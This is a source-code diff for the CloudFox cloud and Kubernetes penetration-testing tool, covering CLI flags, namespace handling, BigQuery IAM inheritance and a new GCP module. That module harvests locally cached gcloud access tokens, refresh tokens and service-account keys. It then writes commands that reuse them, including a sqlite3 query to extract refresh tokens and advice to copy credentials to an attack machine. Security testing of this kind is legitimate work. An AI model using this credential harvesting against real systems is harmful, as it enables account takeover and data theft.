||||
K8sToken string
|
||||
K8sContext string
|
||||
K8sKubeConfig string
|
||||
K8sAPIServer string
|
||||
K8sClusterName string
|
||||
|
||||
// Namespace filtering options
|
||||
K8sNamespaceFlag string // Comma-delimited list of namespaces
|
||||
K8sNamespaceListFile string
|
||||
K8sAllNamespaces bool
|
||||
|
||||
// Output formatting options
|
||||
K8sOutputFormat string
|
||||
K8sOutputDirectory string
|
||||
K8sVerbosity int
|
||||
K8sWrapTable bool
|
||||
K8sTimeout int // API timeout in seconds
|
||||
// K8sMergedTable bool
|
||||
|
||||
// Cloud provider configuration (for network-exposure correlation)
|
||||
K8sCloudProvider string // Comma-separated list: aws,gcp,azure
|
||||
K8sAWSProfile string
|
||||
K8sAzureSubscription string
|
||||
K8sGCPProject string
|
||||
|
||||
// Admission controller filtering for lazy CRD discovery
|
||||
K8sAdmissionControllers string // Comma-separated list or "all"
|
||||
|
||||
// Detailed output flag
|
||||
K8sDetailed bool
|
||||
|
||||
// logger
|
||||
logger = internal.NewLogger()
|
||||
|
||||
K8sCommands = &cobra.Command{
|
||||
Use: "kubernetes",
|
||||
Aliases: []string{"k8s"},
|
||||
Long: `See "Available Commands" for Kubernetes Modules below`,
|
||||
Short: "See \"Available Commands\" for Kubernetes Modules below",
|
||||
|
||||
PersistentPreRun: func(cmd *cobra.Command, args []string) {
|
||||
// Only init config if the command isn't just asking for help
|
||||
if !cmd.HasSubCommands() || cmd.CalledAs() == "all-checks" {
|
||||
config.InitConfig(K8sKubeConfig, K8sContext, K8sToken, K8sAPIServer)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
// If user passed --cluster-name, use that. Otherwise, detect it.
|
||||
if K8sClusterName != "" {
|
||||
globals.ClusterName = K8sClusterName
|
||||
} else {
|
||||
// Suppress stderr during cluster name detection to hide noisy auth plugin output
|
||||
restoreStderr := sdk.SuppressStderr()
|
||||
globals.ClusterName = k8sinternal.GetClusterName(clientset)
|
||||
restoreStderr()
|
||||
}
|
||||
|
||||
// Handle namespace filtering
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
|
||||
if K8sNamespaceFlag != "" {
|
||||
// Comma-delimited namespace list specified
|
||||
rawNamespaces := strings.Split(K8sNamespaceFlag, ",")
|
||||
for _, ns := range rawNamespaces {
|
||||
ns = strings.TrimSpace(ns)
|
||||
if ns != "" {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns)
|
||||
}
|
||||
}
|
||||
if len(globals.K8sNamespaces) == 1 {
|
||||
globals.K8sNamespace = globals.K8sNamespaces[0]
|
||||
}
|
||||
globals.K8sAllNamespaces = false
|
||||
logger.InfoM(fmt.Sprintf("Targeting %d namespace(s): %s", len(globals.K8sNamespaces), strings.Join(globals.K8sNamespaces, ", ")), "kubernetes")
|
||||
} else if K8sNamespaceListFile != "" {
|
||||
// Load namespaces from file
|
||||
rawNamespaces := internal.LoadFileLinesIntoArray(K8sNamespaceListFile)
|
||||
globals.K8sNamespaces = deduplicateNamespaces(rawNamespaces)
|
||||
globals.K8sAllNamespaces = false
|
||||
logger.InfoM(fmt.Sprintf("Targeting %d namespace(s) from file", len(globals.K8sNamespaces)), "kubernetes")
|
||||
} else if K8sAllNamespaces {
|
||||
// Discover all namespaces
|
||||
namespaces, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list namespaces: %v", err), "kubernetes")
|
||||
} else {
|
||||
for _, ns := range namespaces.Items {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns.Name)
|
||||
}
|
||||
}
|
||||
globals.K8sAllNamespaces = true
|
||||
logger.InfoM(fmt.Sprintf("Targeting all %d namespace(s)", len(globals.K8sNamespaces)), "kubernetes")
|
||||
} else {
|
||||
// Default: all namespaces
|
||||
namespaces, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list namespaces: %v", err), "kubernetes")
|
||||
} else {
|
||||
for _, ns := range namespaces.Items {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns.Name)
|
||||
}
|
||||
}
|
||||
globals.K8sAllNamespaces = true
|
||||
}
|
||||
|
||||
// Store cloud provider configuration in globals for network-exposure command
|
||||
// Parse --cloud-provider flag (comma-separated: aws,gcp,azure)
|
||||
if K8sCloudProvider != "" {
|
||||
providers := strings.Split(K8sCloudProvider, ",")
|
||||
for _, p := range providers {
|
||||
p = strings.TrimSpace(strings.ToLower(p))
|
||||
if p == "aws" || p == "gcp" || p == "azure" || p == "az" {
|
||||
// Normalize "az" to "azure"
|
||||
if p == "az" {
|
||||
p = "azure"
|
||||
}
|
||||
globals.K8sCloudProviders = append(globals.K8sCloudProviders, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
globals.K8sAWSProfile = K8sAWSProfile
|
||||
|
||||
// Parse --azure-subscription (comma-separated)
|
||||
if K8sAzureSubscription != "" {
|
||||
for _, sub := range strings.Split(K8sAzureSubscription, ",") {
|
||||
sub = strings.TrimSpace(sub)
|
||||
if sub != "" {
|
||||
globals.K8sAzureSubscriptions = append(globals.K8sAzureSubscriptions, sub)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse --gcp-project (comma-separated)
|
||||
if K8sGCPProject != "" {
|
||||
for _, proj := range strings.Split(K8sGCPProject, ",") {
|
||||
proj = strings.TrimSpace(proj)
|
||||
if proj != "" {
|
||||
globals.K8sGCPProjects = append(globals.K8sGCPProjects, proj)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Set timeout
|
||||
globals.K8sTimeout = K8sTimeout
|
||||
|
||||
// Set detailed output flag
|
||||
globals.K8sDetailed = K8sDetailed
|
||||
|
||||
// Parse --admission-controllers flag
|
||||
if K8sAdmissionControllers != "" {
|
||||
if strings.ToLower(K8sAdmissionControllers) == "all" {
|
||||
// "all" means check everything (empty slice = no filter)
|
||||
globals.K8sAdmissionControllers = nil
|
||||
} else {
|
||||
for _, ctrl := range strings.Split(K8sAdmissionControllers, ",") {
|
||||
ctrl = strings.TrimSpace(strings.ToLower(ctrl))
|
||||
if ctrl != "" {
|
||||
globals.K8sAdmissionControllers = append(globals.K8sAdmissionControllers, ctrl)
|
||||
}
|
||||
}
|
||||
if len(globals.K8sAdmissionControllers) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Filtering admission checks to: %s", strings.Join(globals.K8sAdmissionControllers, ", ")), "kubernetes")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
cmd.Help()
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// deduplicateNamespaces removes duplicates, trims whitespace, and filters empty entries
|
||||
func deduplicateNamespaces(namespaces []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var result []string
|
||||
duplicateCount := 0
|
||||
|
||||
for _, ns := range namespaces {
|
||||
// Trim whitespace
|
||||
ns = strings.TrimSpace(ns)
|
||||
|
||||
// Skip empty lines
|
||||
if ns == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip duplicates
|
||||
if seen[ns] {
|
||||
duplicateCount++
|
||||
continue
|
||||
}
|
||||
|
||||
seen[ns] = true
|
||||
result = append(result, ns)
|
||||
}
|
||||
|
||||
if duplicateCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Removed %d duplicate namespace(s) from list", duplicateCount), "kubernetes")
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
var K8sAllChecksCommand = &cobra.Command{
|
||||
Use: "all-checks",
|
||||
Short: "Runs all available Kubernetes commands",
|
||||
Long: `Executes all available Kubernetes commands to collect and display information from the cluster.`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
// Warm the cache before running all modules to avoid redundant API calls
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
logger.InfoM("Pre-fetching Kubernetes resources to cache...", "all-checks")
|
||||
if err := sdk.WarmCache(ctx, clientset); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Cache warming failed (continuing anyway): %v", err), "all-checks")
|
||||
}
|
||||
|
||||
for _, childCmd := range K8sCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
|
||||
continue
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
}
|
||||
|
||||
// Clear cache after all-checks completes
|
||||
sdk.Flush()
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
// Register global flags for Kubernetes module
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sToken, "token", "t", "", "Service Account Token")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sContext, "context", "c", "", "Kube-config context (overrides default kube-config)")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sKubeConfig, "kube-config", "k", "", "Path to a kube config file")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sAPIServer, "api-server", "s", "", "Kubernetes API server URL (used with --token)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sClusterName, "cluster-name", "", "Kubernetes Cluster Name (overrides default cluster name)")
|
||||
|
||||
// Namespace filtering flags
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sNamespaceFlag, "namespace", "n", "", "Target specific namespace(s) - comma-delimited (e.g., default,kube-system)")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sNamespaceListFile, "namespace-list", "N", "", "Path to a file containing a list of namespaces")
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sAllNamespaces, "all-namespaces", "A", true, "Target all namespaces (default)")
|
||||
|
||||
//K8sCommands.PersistentFlags().StringVarP(&K8sOutputFormat, "output", "o", "all", "[\"table\" | \"csv\" | \"all\"]")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
|
||||
K8sCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
K8sCommands.PersistentFlags().IntVar(&K8sTimeout, "timeout", 300, "API timeout in seconds (default: 300s/5min)")
|
||||
// K8sCommands.PersistentFlags().BoolVarP(&K8sMergedTable, "merged-table", "m", false, "Write one table for all namespaces (default: per namespace)")
|
||||
|
||||
// Cloud provider configuration flags (for network-exposure correlation)
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sCloudProvider, "cloud-provider", "", "Enable cloud correlation for specified providers - comma-separated (aws,gcp,azure)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAWSProfile, "aws-profile", "", "AWS profile name (optional, uses default credentials if not specified)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAzureSubscription, "azure-subscription", "", "Azure subscription ID(s) - comma-separated (optional, discovers all if not specified)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sGCPProject, "gcp-project", "", "GCP project ID(s) - comma-separated (optional, discovers all if not specified)")
|
||||
|
||||
// Admission controller filtering flag for lazy CRD discovery
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAdmissionControllers, "admission-controllers", "",
|
||||
"Filter admission modules to only check for specified controllers - comma-separated\n"+
|
||||
"Use 'all' to check all (default behavior). Known controllers:\n"+
|
||||
" Pod/Security: gatekeeper, kyverno, pss, vap\n"+
|
||||
" Runtime: falco, tetragon, kubearmor, tracee, sysdig, prisma, aqua, stackrox, neuvector, crowdstrike\n"+
|
||||
" Image: trivy, harbor, notary, cosign, prisma, aqua, stackrox, anchore\n"+
|
||||
" Network: calico, cilium, istio, linkerd\n"+
|
||||
" Secrets: vault, external-secrets, sealed-secrets\n"+
|
||||
" Certs: cert-manager, venafi\n"+
|
||||
" Other: coredns, opa")
|
||||
|
||||
// Detailed output flag
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sDetailed, "detailed", "d", false, "Show detailed output for modules that support it (admission modules, crds)")
|
||||
|
||||
// Add subcommands
|
||||
K8sCommands.AddCommand(
|
||||
// Identity & Access
|
||||
commands.WhoamiCmd,
|
||||
commands.PermissionsCmd,
|
||||
commands.RoleBindingsCmd,
|
||||
commands.ServiceAccountsCmd,
|
||||
commands.HiddenAdminsCmd,
|
||||
commands.CloudIAMCmd,
|
||||
|
||||
// Attack Path Analysis
|
||||
commands.PrivescCmd,
|
||||
commands.LateralMovementCmd,
|
||||
commands.DataExfiltrationCmd,
|
||||
|
||||
// Workloads
|
||||
commands.PodsCmd,
|
||||
commands.DeploymentsCmd,
|
||||
commands.DaemonSetsCmd,
|
||||
commands.StatefulSetsCmd,
|
||||
commands.ReplicaSetsCmd,
|
||||
commands.JobsCmd,
|
||||
commands.CronJobsCmd,
|
||||
|
||||
// Security
|
||||
commands.SecretsCmd,
|
||||
commands.ConfigMapsCmd,
|
||||
commands.PodAdmissionCmd,
|
||||
commands.ImageAdmissionCmd,
|
||||
commands.SecretAdmissionCmd,
|
||||
commands.RuntimeAdmissionCmd,
|
||||
commands.AuditAdmissionCmd,
|
||||
commands.MeshAdmissionCmd,
|
||||
commands.CertAdmissionCmd,
|
||||
commands.MultitenancyAdmissionCmd,
|
||||
commands.DNSAdmissionCmd,
|
||||
commands.WebhooksCmd,
|
||||
commands.CRDsCmd,
|
||||
|
||||
// Networking
|
||||
commands.ServicesCmd,
|
||||
commands.EndpointsCmd,
|
||||
commands.IngressCmd,
|
||||
commands.NetworkAdmissionCmd,
|
||||
commands.NetworkExposureCmd,
|
||||
|
||||
// Storage
|
||||
commands.PersistentVolumesCmd,
|
||||
commands.StorageClassesCmd,
|
||||
|
||||
// Cluster Resources
|
||||
commands.NodesCmd,
|
||||
commands.NamespacesCmd,
|
||||
commands.TaintsCmd,
|
||||
commands.TolerationsCmd,
|
||||
commands.TaintsTolerationsCmd,
|
||||
commands.PriorityClassesCmd,
|
||||
commands.ResourceQuotasCmd,
|
||||
|
||||
// Availability & Scaling
|
||||
commands.PodDisruptionBudgetsCmd,
|
||||
commands.HPAsCmd,
|
||||
|
||||
// Observability
|
||||
commands.EventsCmd,
|
||||
|
||||
// Meta
|
||||
K8sAllChecksCommand,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
accesstokensservice "github.com/BishopFox/cloudfox/gcp/services/accessTokensService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// GCPAccessTokensCommand reads locally cached gcloud credentials.
|
||||
// It overrides PersistentPreRun to bypass the parent's auth/project requirements
|
||||
// since it only reads local files — no GCP API calls needed.
|
||||
var GCPAccessTokensCommand = &cobra.Command{
|
||||
Use: globals.GCP_ACCESS_TOKENS_MODULE_NAME,
|
||||
Aliases: []string{"tokens", "creds"},
|
||||
Short: "Enumerate locally cached gcloud access tokens, refresh tokens, and ADC",
|
||||
Long: `Reads locally cached gcloud credentials for post-exploitation credential discovery.
|
||||
|
||||
Sources checked:
|
||||
- access_tokens.db Cached OAuth2 access tokens
|
||||
- credentials.db Cached refresh tokens
|
||||
- application_default_credentials.json (ADC)
|
||||
- configurations/config_* All gcloud profiles
|
||||
- active_config Currently active profile
|
||||
- GOOGLE_APPLICATION_CREDENTIALS env var (SA key files)
|
||||
- CLOUDSDK_CONFIG_DIR env var (custom config paths)
|
||||
|
||||
This command reads LOCAL FILES ONLY — no GCP API calls are made.
|
||||
No project flag (-p) or authentication is required.`,
|
||||
|
||||
// Override PersistentPreRun to bypass the parent's auth/project resolution.
|
||||
// Cobra behavior: a child's PersistentPreRun fully replaces the parent's.
|
||||
PersistentPreRun: func(cmd *cobra.Command, args []string) {
|
||||
// Intentionally empty — no project flags or OAuth needed
|
||||
},
|
||||
Run: runGCPAccessTokensCommand,
|
||||
}
|
||||
|
||||
// AccessTokensModule holds the credential discovery results
|
||||
type AccessTokensModule struct {
|
||||
Credentials []accesstokensservice.CredentialSummary
|
||||
Verbosity int
|
||||
WrapTable bool
|
||||
OutputDir string
|
||||
Format string
|
||||
}
|
||||
|
||||
// AccessTokensOutput implements internal.CloudfoxOutput
|
||||
type AccessTokensOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AccessTokensOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AccessTokensOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPAccessTokensCommand(cmd *cobra.Command, args []string) {
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Read output flags from the parent command (gcp)
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDir, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
if format == "" {
|
||||
format = "all"
|
||||
}
|
||||
|
||||
module := &AccessTokensModule{
|
||||
Verbosity: verbosity,
|
||||
WrapTable: wrap,
|
||||
OutputDir: outputDir,
|
||||
Format: format,
|
||||
}
|
||||
|
||||
module.Execute(logger)
|
||||
}
|
||||
|
||||
func (m *AccessTokensModule) Execute(logger internal.Logger) {
|
||||
logger.InfoM("Searching for locally cached gcloud credentials...", globals.GCP_ACCESS_TOKENS_MODULE_NAME)
|
||||
|
||||
svc := accesstokensservice.New()
|
||||
creds, err := svc.GetAllCredentials()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error reading credentials: %v", err), globals.GCP_ACCESS_TOKENS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(creds) == 0 {
|
||||
logger.InfoM("No cached credentials found", globals.GCP_ACCESS_TOKENS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
m.Credentials = creds
|
||||
|
||||
// Sort: active tokens with refresh tokens first, then active-only, then expired with refresh, then rest
|
||||
sort.Slice(m.Credentials, func(i, j int) bool {
|
||||
return credSortScore(m.Credentials[i]) > credSortScore(m.Credentials[j])
|
||||
})
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d credential(s)", len(m.Credentials)), globals.GCP_ACCESS_TOKENS_MODULE_NAME)
|
||||
|
||||
m.writeOutput(logger)
|
||||
}
|
||||
|
||||
// credSortScore returns a numeric score for sorting (higher = more interesting to a pentester)
|
||||
func credSortScore(c accesstokensservice.CredentialSummary) int {
|
||||
score := 0
|
||||
if c.Validity == "ACTIVE" {
|
||||
score += 4
|
||||
}
|
||||
if c.HasRefresh {
|
||||
score += 2
|
||||
}
|
||||
if c.IsActive {
|
||||
score += 1
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func (m *AccessTokensModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Account",
|
||||
"Type",
|
||||
"Validity",
|
||||
"Has Refresh Token",
|
||||
"RAPT Status",
|
||||
"Profile",
|
||||
"Active Profile",
|
||||
"Project",
|
||||
"Access Token",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessTokensModule) credentialsToTableBody() [][]string {
|
||||
var body [][]string
|
||||
for _, c := range m.Credentials {
|
||||
hasRefresh := "No"
|
||||
if c.HasRefresh {
|
||||
hasRefresh = "Yes"
|
||||
}
|
||||
active := "No"
|
||||
if c.IsActive {
|
||||
active = "Yes"
|
||||
}
|
||||
profile := c.Profile
|
||||
if profile == "" {
|
||||
profile = "-"
|
||||
}
|
||||
project := c.Project
|
||||
if project == "" {
|
||||
project = "-"
|
||||
}
|
||||
accessToken := c.AccessToken
|
||||
if accessToken == "" {
|
||||
accessToken = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
c.Account,
|
||||
c.Type,
|
||||
c.Validity,
|
||||
hasRefresh,
|
||||
c.RAPTStatus,
|
||||
profile,
|
||||
active,
|
||||
project,
|
||||
accessToken,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *AccessTokensModule) writeOutput(logger internal.Logger) {
|
||||
body := m.credentialsToTableBody()
|
||||
|
||||
tables := []internal.TableFile{{
|
||||
Name: "access-tokens",
|
||||
Header: m.getTableHeader(),
|
||||
Body: body,
|
||||
}}
|
||||
|
||||
// Build loot files
|
||||
var lootFiles []internal.LootFile
|
||||
|
||||
// Loot 1: Exploitation commands (curl with active access tokens)
|
||||
var exploitCmds strings.Builder
|
||||
exploitCmds.WriteString("# Active Access Token Exploitation Commands\n")
|
||||
exploitCmds.WriteString("# Generated by CloudFox\n\n")
|
||||
hasExploitCmds := false
|
||||
for _, c := range m.Credentials {
|
||||
if c.Type == "access_token" && c.Validity == "ACTIVE" && c.AccessToken != "" {
|
||||
exploitCmds.WriteString(fmt.Sprintf("# Account: %s (Profile: %s, Project: %s)\n", c.Account, c.Profile, c.Project))
|
||||
exploitCmds.WriteString(fmt.Sprintf("curl -s -H 'Authorization: Bearer %s' https://www.googleapis.com/oauth2/v1/tokeninfo\n", c.AccessToken))
|
||||
exploitCmds.WriteString(fmt.Sprintf("curl -s -H 'Authorization: Bearer %s' https://cloudresourcemanager.googleapis.com/v1/projects\n\n", c.AccessToken))
|
||||
hasExploitCmds = true
|
||||
}
|
||||
if c.Type == "sa_key" {
|
||||
exploitCmds.WriteString(fmt.Sprintf("# Service Account Key: %s\n", c.Account))
|
||||
exploitCmds.WriteString(fmt.Sprintf("# Source: %s\n", c.Source))
|
||||
exploitCmds.WriteString(fmt.Sprintf("gcloud auth activate-service-account --key-file=%s\n\n", c.Source))
|
||||
hasExploitCmds = true
|
||||
}
|
||||
}
|
||||
if hasExploitCmds {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "access-tokens-exploitation-commands",
|
||||
Contents: exploitCmds.String(),
|
||||
})
|
||||
}
|
||||
|
||||
// Loot 2: Refresh token commands
|
||||
var refreshCmds strings.Builder
|
||||
refreshCmds.WriteString("# Refresh Token Commands\n")
|
||||
refreshCmds.WriteString("# Generated by CloudFox\n")
|
||||
refreshCmds.WriteString("# Refresh tokens can be used to obtain new access tokens\n\n")
|
||||
hasRefreshCmds := false
|
||||
for _, c := range m.Credentials {
|
||||
if c.HasRefresh && (c.Type == "access_token" || c.Type == "refresh_token") {
|
||||
refreshCmds.WriteString(fmt.Sprintf("# Account: %s\n", c.Account))
|
||||
refreshCmds.WriteString("# To extract the refresh token:\n")
|
||||
refreshCmds.WriteString(fmt.Sprintf("# sqlite3 ~/.config/gcloud/credentials.db \"SELECT value FROM credentials WHERE account_id='%s'\"\n", c.Account))
|
||||
refreshCmds.WriteString("# Then use it to get a new access token:\n")
|
||||
refreshCmds.WriteString("# curl -s -X POST https://oauth2.googleapis.com/token \\\n")
|
||||
refreshCmds.WriteString("# -d 'client_id=<CLIENT_ID>' \\\n")
|
||||
refreshCmds.WriteString("# -d 'client_secret=<CLIENT_SECRET>' \\\n")
|
||||
refreshCmds.WriteString("# -d 'refresh_token=<REFRESH_TOKEN>' \\\n")
|
||||
refreshCmds.WriteString("# -d 'grant_type=refresh_token'\n\n")
|
||||
hasRefreshCmds = true
|
||||
}
|
||||
}
|
||||
if hasRefreshCmds {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "access-tokens-refresh-commands",
|
||||
Contents: refreshCmds.String(),
|
||||
})
|
||||
}
|
||||
|
||||
// Loot 3: ADC commands
|
||||
var adcCmds strings.Builder
|
||||
adcCmds.WriteString("# Application Default Credentials (ADC) Commands\n")
|
||||
adcCmds.WriteString("# Generated by CloudFox\n\n")
|
||||
hasADCCmds := false
|
||||
for _, c := range m.Credentials {
|
||||
if c.Type == "adc" {
|
||||
adcCmds.WriteString(fmt.Sprintf("# ADC Account: %s\n", c.Account))
|
||||
adcCmds.WriteString(fmt.Sprintf("# Source: %s\n", c.Source))
|
||||
if c.Project != "" {
|
||||
adcCmds.WriteString(fmt.Sprintf("# Quota Project: %s\n", c.Project))
|
||||
}
|
||||
adcCmds.WriteString("# ADC is used by client libraries and tools like terraform\n")
|
||||
adcCmds.WriteString("# To use these credentials:\n")
|
||||
adcCmds.WriteString("# gcloud auth application-default print-access-token\n")
|
||||
adcCmds.WriteString("# Or copy ~/.config/gcloud/application_default_credentials.json to your attack machine\n\n")
|
||||
hasADCCmds = true
|
||||
}
|
||||
}
|
||||
if hasADCCmds {
|
||||
lootFiles = append(lootFiles, internal.LootFile{
|
||||
Name: "access-tokens-adc-commands",
|
||||
Contents: adcCmds.String(),
|
||||
})
|
||||
}
|
||||
|
||||
output := AccessTokensOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
// Use HandleOutputSmart with a local-only scope
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDir,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"local",
|
||||
[]string{"localhost"},
|
||||
[]string{"localhost"},
|
||||
"local",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ACCESS_TOKENS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
artifactregistry "cloud.google.com/go/artifactregistry/apiv1"
|
||||
ArtifactRegistryService "github.com/BishopFox/cloudfox/gcp/services/artifactRegistryService"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"google.golang.org/api/option"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -73,8 +74,12 @@ func runGCPArtifactRegistryCommand(cmd *cobra.Command, args []string) {
|
||||
return // Error already logged
|
||||
}
|
||||
|
||||
// Create Artifact Registry client
|
||||
client, err := artifactregistry.NewClient(cmdCtx.Ctx)
|
||||
// Create Artifact Registry client (uses impersonated credentials if --impersonate-sa is set)
|
||||
var arOpts []option.ClientOption
|
||||
if s := gcpinternal.GetDefaultSession(); s != nil {
|
||||
arOpts = append(arOpts, s.GetClientOption())
|
||||
}
|
||||
client, err := artifactregistry.NewClient(cmdCtx.Ctx, arOpts...)
|
||||
if err != nil {
|
||||
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Artifact Registry client: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
|
||||
return
|
||||
|
||||
@@ -7,6 +7,8 @@ import (
|
||||
"sync"
|
||||
|
||||
BigQueryService "github.com/BishopFox/cloudfox/gcp/services/bigqueryService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -135,6 +137,40 @@ func (m *BigQueryModule) processProject(ctx context.Context, projectID string, l
|
||||
return
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
// Inject into datasets (AccessEntries)
|
||||
for i := range result.Datasets {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("dataset", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
result.Datasets[i].AccessEntries = append(result.Datasets[i].AccessEntries, BigQueryService.AccessEntry{
|
||||
Role: pb.Role,
|
||||
Entity: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
// Inject into tables
|
||||
for i := range result.Tables {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("table", pb.Role) {
|
||||
continue
|
||||
}
|
||||
result.Tables[i].IAMBindings = append(result.Tables[i].IAMBindings, BigQueryService.TableIAMBinding{
|
||||
Role: pb.Role,
|
||||
Members: pb.Members,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectDatasets[projectID] = result.Datasets
|
||||
@@ -261,6 +297,7 @@ func (m *BigQueryModule) getDatasetHeader() []string {
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -276,6 +313,7 @@ func (m *BigQueryModule) getTableHeader() []string {
|
||||
"Public",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -306,6 +344,7 @@ func (m *BigQueryModule) datasetsToTableBody(datasets []BigQueryService.Bigquery
|
||||
role,
|
||||
memberType,
|
||||
entry.Entity,
|
||||
shared.BindingSource(entry.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -318,6 +357,7 @@ func (m *BigQueryModule) datasetsToTableBody(datasets []BigQueryService.Bigquery
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
